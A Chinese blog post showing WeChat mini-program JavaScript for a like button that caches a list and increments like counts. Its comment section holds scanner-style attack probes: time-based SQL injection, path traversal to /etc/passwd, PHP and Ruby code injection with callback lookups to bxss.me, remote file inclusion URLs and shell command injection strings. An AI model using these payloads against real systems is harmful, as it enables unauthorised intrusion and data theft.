麦普思

文章 分类 标签
5 3 2

站点介绍

此处是站点介绍

小程序点赞功能 几行代码搞定

szns123 2021-11-24 4544 109条评论 杂项 小程序小程序点赞

首页 / 正文

第一步

bbs_list:function(){
var page = this;
app.request({
  url: xxxx,
  success: function (res) {
    if (res.code == 1) {
      wx.setStorageSync("liked_list", res.data.bbs_list) //成功后缓存
      page.setData({
        bbs_list: res.data.bbs_list,
      });
    }
  }
});}

第二部

froum_liked:function(e){
var page = this;
app.request({
  url: xxx,
  data:{
    comment_id: e.currentTarget.dataset.commentid, //获取当前操作的值
  },
  success:function(res){
    if(res.code == 1){
      var newdata = wx.getStorageSync("liked_list"); //获取刚才第一步的数据
      for (var i in newdata){ //循环出当前操作的数组下的id(也可以获取下标来做处理)
        if (newdata[i].id == e.currentTarget.dataset.commentid){
          newdata[i]['user_liked'] = parseInt(newdata[i].user_liked)+1;
          wx.setStorageSync("liked_list", newdata) //再次缓存第一步数据中  没点击一次缓存一次
        }
      }
      page.setData({  //赋值到数组中
        bbs_list: newdata
      });
    }
  }
});}

重点部分已注释了 第二次缓存是同步缓存,以免插入缓存时数据不一致。

评论(109)

  1. 1 游客 2024-12-18 04:33 回复

    555

    1. 1 游客 2024-12-19 06:41 回复


    2. 1 游客 2024-12-19 06:41 回复


    3. 1 游客 2024-12-19 06:41 回复


    4. 1 游客 2024-12-19 06:41 回复


    5. 1 游客 2024-12-19 06:42 回复

      @1


    6. 1 游客 2024-12-19 06:44 回复


    7. 1 游客 2024-12-19 06:46 回复


    8. 1 游客 2024-12-19 06:48 回复

      @1


    9. 1 游客 2024-12-19 06:48 回复


  2. 1 游客 2024-12-18 04:34 回复

    '.print(md5(31337)).'

    1. 1 游客 2024-12-19 06:41 回复

      /.././.././.././.././.././.././.././../etc/./passwd%00

    2. 1 游客 2024-12-19 06:41 回复

      @1


    3. 1 游客 2024-12-19 06:41 回复

      '"

    4. 1 游客 2024-12-19 06:41 回复

      5.html/.

    5. 1 游客 2024-12-19 06:41 回复

      @1


    6. 1 游客 2024-12-19 06:41 回复

      '+'A'.concat(70-3).concat(22*4).concat(121).concat(67).concat(114).concat(71)+(require'socket'
      Socket.gethostbyname('hitko'+'strdhuad40cd1.bxss.me.')[3].to_s)+'

    7. 1 游客 2024-12-19 06:41 回复

      ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

    8. 1 游客 2024-12-19 06:41 回复

      @1


    9. 1 游客 2024-12-19 06:41 回复

      @1


    10. 1 游客 2024-12-19 06:41 回复

    11. 1 游客 2024-12-19 06:41 回复

      'A'.concat(70-3).concat(22*4).concat(104).concat(77).concat(103).concat(71)+(require'socket'
      Socket.gethostbyname('hithf'+'vyaibbym41e5e.bxss.me.')[3].to_s)

    12. 1 游客 2024-12-19 06:41 回复

      @1


    13. 1 游客 2024-12-19 06:41 回复

      @1


      '"()&%

      xE0m(9105)

    14. 1 游客 2024-12-19 06:41 回复

      ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

    15. 1 游客 2024-12-19 06:41 回复

      @1


    16. 1 游客 2024-12-19 06:41 回复

      @1


    17. 1 游客 2024-12-19 06:41 回复

      @1


    18. 1 游客 2024-12-19 06:41 回复

      '"()&%

      xE0m(9323)

    19. 1 游客 2024-12-19 06:41 回复

      ../././../././../././../././../././../././../././../././../././../././etc/passwd

    20. 1 游客 2024-12-19 06:41 回复

      @1


    21. 1Fx5SOrh2'; waitfor delay '0:0:15' -- 游客 2024-12-19 06:44 回复

      @1


    22. 1 游客 2024-12-19 06:45 回复

      @1


    23. 1 游客 2024-12-19 06:48 回复

      @1


    24. 1 游客 2024-12-19 06:48 回复


  3. 1 游客 2024-12-18 04:34 回复

    '"()

  4. 1 游客 2024-12-18 04:34 回复

    555

  5. 1 游客 2024-12-18 04:34 回复

    '&&sleep(27*1000)*dqevmf&&'

  6. 1-1; waitfor delay '0:0:15' -- 游客 2024-12-18 04:35 回复

    555

  7. 1 游客 2024-12-18 04:36 回复

    1-1 OR 494=(SELECT 494 FROM PG_SLEEP(15))--

  8. 1 游客 2024-12-18 04:37 回复

    555

  9. 1 游客 2024-12-18 04:38 回复

    555

  10. 1 游客 2024-12-18 04:41 回复

    555

  11. 1 游客 2024-12-18 04:41 回复

    555

  12. 1 游客 2024-12-18 05:12 回复

    555

    1. 1 游客 2024-12-19 06:40 回复


    2. 1 游客 2024-12-19 06:40 回复

      @1


    3. 1 游客 2024-12-19 06:40 回复


  13. 1 游客 2024-12-18 05:13 回复

    1

  14. 1 游客 2024-12-18 05:14 回复

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  15. 1 游客 2024-12-18 05:14 回复

    '"

  16. 1 游客 2024-12-18 05:14 回复

    @@St2Wm

  17. 1 游客 2024-12-18 05:15 回复

    555

  18. 1 游客 2024-12-18 05:15 回复

    555

  19. 1 游客 2024-12-18 05:16 回复

    555

  20. 1 游客 2024-12-18 05:17 回复

    5555OnEwtMT')) OR 477=(SELECT 477 FROM PG_SLEEP(15))--

  21. 1 游客 2024-12-19 06:38 回复

    555

  22. 1 游客 2024-12-19 06:39 回复

    555

  23. 1 游客 2024-12-19 06:41 回复

    555

  24. 1 游客 2024-12-19 06:43 回复


  25. 1 游客 2024-12-19 06:46 回复


  26. 1v5ill34J 游客 2024-12-19 06:46 回复

    555

  27. 1 游客 2024-12-19 06:48 回复


  28. 1 游客 2024-12-19 06:48 回复

    555

  29. 1 游客 2024-12-19 06:48 回复

    555

  30. 1 游客 2024-12-19 06:48 回复


  31. 1 游客 2024-12-19 07:27 回复

    555

  32. 1 游客 2024-12-19 07:28 回复

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  33. 1 游客 2024-12-19 07:28 回复

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  34. 1 游客 2024-12-19 07:28 回复

    Http://bxss.me/t/fit.txt

  35. 1 游客 2024-12-19 07:28 回复

    http://bxss.me/t/fit.txt%3F.jpg

  36. 1 游客 2024-12-19 07:28 回复

    /etc/shells

  37. 1 游客 2024-12-19 07:28 回复

    ../../../../../../../../../../../../../../etc/shells

  38. 1 游客 2024-12-19 07:29 回复

    1-1) OR 872=(SELECT 872 FROM PG_SLEEP(15))--

  39. 1 游客 2024-12-19 07:30 回复

    555

  40. 1 游客 2024-12-19 07:31 回复

    555-1) OR 821=(SELECT 821 FROM PG_SLEEP(15))--

  41. 1 游客 2024-12-19 07:32 回复

    555

  42. 1 游客 2024-12-19 07:32 回复

    555

  43. 1 游客 2024-12-19 07:32 回复

    555

  44. 1 游客 2025-07-28 10:22 回复

    555

  45. 1 游客 2025-07-28 10:23 回复

    555

  46. 1 游客 2025-07-28 10:23 回复

    555

  47. 1 游客 2025-07-28 10:23 回复

    555

  48. 1 游客 2025-07-28 10:23 回复

    555

  49. 1 游客 2025-07-28 10:23 回复

    555

  50. 1-1; waitfor delay '0:0:15' -- 游客 2025-07-28 10:24 回复

    555

  51. 1 游客 2025-07-28 10:25 回复

    1-1) OR 653=(SELECT 653 FROM PG_SLEEP(15))--

  52. 1 游客 2025-07-28 10:26 回复

    555

  53. 1 游客 2025-07-28 10:27 回复

    555

  54. 1 游客 2025-07-28 10:27 回复

    555

  55. 1 游客 2025-07-28 10:27 回复

    555

  56. 1 游客 2025-07-28 10:27 回复

    echo titueg$()\ phrcws\nz^xyu||a #' &echo titueg$()\ phrcws\nz^xyu||a #|" &echo titueg$()\ phrcws\nz^xyu||a #

  57. 1 游客 2025-07-28 10:27 回复

    555

  58. 1 游客 2025-07-28 10:27 回复

    &echo ltanjp$()\ yrzjxp\nz^xyu||a #' &echo ltanjp$()\ yrzjxp\nz^xyu||a #|" &echo ltanjp$()\ yrzjxp\nz^xyu||a #

  59. 1 游客 2025-07-28 10:27 回复

    5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

  60. 1 游客 2025-07-28 10:28 回复

    555

  61. 1 游客 2025-07-28 10:29 回复

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  62. 1 游客 2025-07-28 10:29 回复

    '"

  63. 1 游客 2025-07-28 10:29 回复

    @@DSuKi

  64. 1 游客 2025-07-28 10:31 回复

    555

  65. 1 游客 2025-07-28 10:31 回复

    555

  66. 1 游客 2025-07-28 11:08 回复

    555

  67. 1 游客 2025-07-28 11:09 回复

    1

  68. 1 游客 2025-07-28 11:10 回复

    555

  69. @@xasAe 游客 2025-07-28 11:10 回复

    555

  70. 1 游客 2025-07-28 11:11 回复

    555

  71. 1 游客 2025-07-28 11:12 回复

    555rFG6x8Yx

  72. 1 游客 2025-07-28 11:13 回复

    555

  73. 1 游客 2025-07-28 11:13 回复

    555

最新评论

  • 1

    19350008

  • 1

    1'"()&%

  • 1

    555

  • 1

    555

  • 1

    555rmWvGq07'; waitfor delay '0:0:15' --

  • 1

    555ayPeKjh7

  • 1

    555

  • 1

    555

  • 1

    555

  • 1-1 waitfor delay '0:0:15' --

    555

日历

2025年08月

     12
3456789
10111213141516
17181920212223
24252627282930
31      

友情链接

文章目录

推荐关键字: 小程序 小程序点赞

上一张 下一张